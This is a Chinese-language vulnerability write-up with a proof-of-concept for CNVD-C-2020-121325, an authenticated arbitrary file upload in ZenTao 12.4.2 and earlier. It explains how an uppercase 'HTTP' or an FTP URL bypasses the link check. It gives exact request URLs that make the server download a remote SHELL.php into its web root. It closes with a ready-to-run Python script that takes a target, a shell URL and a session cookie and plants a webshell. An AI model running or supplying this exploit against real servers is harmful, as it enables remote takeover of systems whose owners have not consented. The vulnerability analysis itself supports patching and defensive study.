mirror of
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241 lines
8.2 KiB
Markdown
241 lines
8.2 KiB
Markdown
# 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325
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## 漏洞描述
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百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告，该漏洞编号为CNVD-C-2020-121325，漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件，成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析，由于需要登录后台才可以利用，实际风险相对较低，建议受影响的禅道用户尽快升级到最新版。
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## 影响版本
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```
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禅道 <= 12.4.2版本
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```
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## 环境搭建
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百度下12.4.2的禅道环境按步骤安装下载即可
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[禅道官方网站](https://www.zentao.net/)
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调用接口查询版本信息
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```plain
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http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
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```
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## 漏洞复现
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漏洞触发需要后台权限
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根据漏洞描述查看修改后的代码片段
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**修改前**
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```php
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public function downloadZipPackage($version, $link)
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{
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$decodeLink = helper::safe64Decode($link);
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if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
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return parent::downloadZipPackage($version, $link);
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}
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```
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**修改后**
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```php
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public function downloadZipPackage($version, $link)
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{
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$decodeLink = helper::safe64Decode($link);
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if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
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$file = basename($link);
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$extension = substr($file, strrpos($file, '.') + 1);
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if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
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return parent::downloadZipPackage($version, $link);
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}
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```
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这里传入的参数为版本和link地址，然后base64解码，正则判断是否为**http**或**https**协议，这里的正则过滤并不完整，所以可以绕过用于下载恶意文件
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可以大写**http**或请求**FTP**来绕过正则
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跟进一下**parent::downloadZipPackage**这个方法，跟着来到**zentao\module\client\model.php**文件中
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```php
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public function downloadZipPackage($version, $link)
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{
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ignore_user_abort(true);
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set_time_limit(0);
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if(empty($version) || empty($link)) return false;
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$dir = "data/client/" . $version . '/';
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$link = helper::safe64Decode($link);
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$file = basename($link);
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if(!is_dir($this->app->wwwRoot . $dir))
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{
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mkdir($this->app->wwwRoot . $dir, 0755, true);
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}
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if(!is_dir($this->app->wwwRoot . $dir)) return false;
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if(file_exists($this->app->wwwRoot . $dir . $file))
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{
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return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
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}
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ob_clean();
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ob_end_flush();
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$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
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$remote = fopen($link, 'rb');
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if($remote === false) return false;
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while(!feof($remote))
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{
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$buffer = fread($remote, 4096);
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fwrite($local, $buffer);
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}
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fclose($local);
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fclose($remote);
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return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
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}
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```
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可以简单看到这里获取link传入的文件名，通过**fopen**打开该文件，写入禅道目录**www/data/client/version**中
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查看一下有没有调用这个方法的地方
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找到了**download**方法调用了这个漏洞点，所以我们有两种下载恶意文件的方法
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```plain
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http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
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http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
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```
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首先先上传一个恶意文件，可以是FTP也可以是HTTP
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例如我上传的文件URL为[**http://peiqi.tech/SHELL.php**](http://peiqi.tech/SHELL.php)
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```plain
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http://peiqi.tech/SHELL.php
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base64加密 HTTP://peiqi.tech/SHELL.php
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SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
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```
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请求地址则为
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```plain
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http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
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```
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下载的目录地址为**zentaopms\www\data\client\1**
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目录为version名称
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成功上传webshell
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## 漏洞POC
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- POC使用需要拥有后台Cookie
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: zentao version <= 12.4.2 \033[0m')
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print('+ \033[36m使用格式: python3 CNVD-C-2020-121325.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+ \033[36mShell >>> http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址) \033[0m')
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print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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version_url = target_url + "/www/index.php?mode=getconfig"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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try:
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response = requests.get(url=version_url, timeout=20, headers=headers)
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version = json.loads(response.text)['version']
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print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
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except Exception as e:
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print("\033[31m[x] 获取版本失败 \033[0m", e)
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def POC_2(target_url, shell_url, zentaosid):
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options = shell_url.split("://")
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if options[0] == "http":
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shell_url = "HTTP://" + options[1]
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elif options[0] == "ftp":
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shell_url = "ftp://" + options[1]
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else:
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print("\033[31m[x] 请使用正确的请求地址 \033[0m")
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sys.exit(0)
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Cookie":"zentaosid={}".format(zentaosid)
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}
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shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')
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vuln_url = target_url + "/www/index.php?m=client&f=download&version=test&link={}".format(shell_url_base)
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print("\033[32m[o] 请求漏洞url：{}\033[0m".format(vuln_url))
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try:
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response = requests.get(url=vuln_url, timeout=20, headers=headers)
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if "保存成功" in response.text:
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print("\033[32m[o] 成功写入Webshell，URL地址为：{}/www/data/client/test/Webshell_name.php\033[0m".format(target_url))
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else:
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print("\033[31m[x] 恶意文件下载失败 \033[0m")
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except:
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print("\033[31m[x] 恶意文件下载失败 \033[0m")
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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shell_url = str(input("\033[35mShell >>> \033[0m"))
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zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
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POC_1(target_url)
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POC_2(target_url, shell_url, zentaosid)
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```
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